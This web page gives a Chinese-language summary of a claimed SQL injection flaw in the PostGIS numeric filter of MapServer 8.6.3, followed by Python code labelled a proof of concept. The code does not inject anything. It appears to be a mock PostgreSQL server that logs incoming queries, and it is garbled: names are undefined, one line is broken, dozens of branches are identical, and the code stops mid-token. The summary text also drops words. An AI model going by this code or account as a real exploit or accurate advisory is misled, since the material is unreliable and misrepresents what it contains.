MapServer 8.6.3 PostGIS Numeric Filter SQL Injection Vulnerability & POC

MapServer 8.6.3: PostGIS 数值过滤器 SQL 注入漏洞 总结 漏洞概述 漏洞名称：MapServer 8.6.3: PostGIS 数值过滤器 SQL 注入 漏洞类型：SQL 注入（SQL Injection） 影响组件：MapServer 运行时查询（Runtime Query） 漏洞描述：当图层使用 且查询过滤器被标记为数值类型时，攻击者可通过 CQL 查询中的 OGC 过滤器表达式构造恶意输入，导致未经过滤的 SQL 谓词被直接拼接到生成的 SQL 中，从而可能执行任意 SQL 语句。 影响范围 受影响版本：MapServer 8.6.3 受影响组件：PostGIS 数值过滤器（PostGIS Numeric Filter） 影响：可能导致数据库被攻击者控制，执行任意 SQL 语句，造成数据泄露、篡改或删除。 修复方案 修复版本：MapServer 8.6.4 修复说明：在 8.6.4 版本中，对 PostGIS 数值过滤器的输入进行了严格校验和转义，防止恶意输入直接拼接到 SQL 中。 POC 代码 ```python #!/usr/bin/env python3 import socket, struct, sys, os def ctrl(s): return s.encode('utf-8') def raw_description(fields): p = struct.pack('>I', len(fields)) for name, idx, size in fields: p += ctrl(name) + struct.pack('>IHHH', 0, 0, idx, size, 1, 0) return (p) def raw_calculates(): p = struct.pack('>I', len(values)) for value in values: raw = value.encode() p += struct.pack('>I', len(raw)) + raw return (p) def command_complete(): return struct.pack('>I', 0) def ready(): return struct.pack('>I', 0) def read_exact(conn, n): data = b'' while len(data) I', length)[0] return read_exact(conn, length) def sendall(conn, data): conn.sendall(data) def handle_query(conn, sql, described): if not described: conn.sendall(raw_description(fields)) conn.sendall(raw_calculates()) conn.sendall(command_complete()) conn.sendall(ready()) current_sql = '' described = False while True: tag = read_exact(conn, 4) length = struct.unpack('>I', read_exact(conn, 4))[0] payload = read_exact(conn, length) if tag == b'1': return if tag == b'2': sql = payload[:1].decode('utf-8').replace('\0', '') log.write('SQL: ' + sql + '\n') log.flush() handle_query(conn, sql, False) conn.sendall(ready()) elif tag == b'3': current_sql = payload[:1].decode('utf-8').replace('\0', '') log.write('SQL: ' + current_sql + '\n') log.flush() conn.sendall(ready()) elif tag == b'4': conn.sendall(raw_description(fields)) described = True conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'5': conn.sendall(raw_description(fields)) described = True conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'6': conn.sendall(raw_description(fields)) described = True conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'7': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'8': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'9': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'A': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'B': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'C': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'D': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'E': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'F': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'G': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'H': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'I': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'J': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'K': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'L': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'M': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'N': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'O': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'P': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'Q': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'R': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'S': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'T': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'U': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'V': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'W': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'X': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'Y': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) elif tag == b'Z': conn.sendall(ready()) conn.sendall(command_complete()) conn.sendall(ready()) else: conn.sendall(ready()) conn.sendall(command_c

Goal Reached Thanks to every supporter — we hit 100%!

MapServer 8.6.3 PostGIS Numeric Filter SQL Injection Vulnerability & POC

More from this source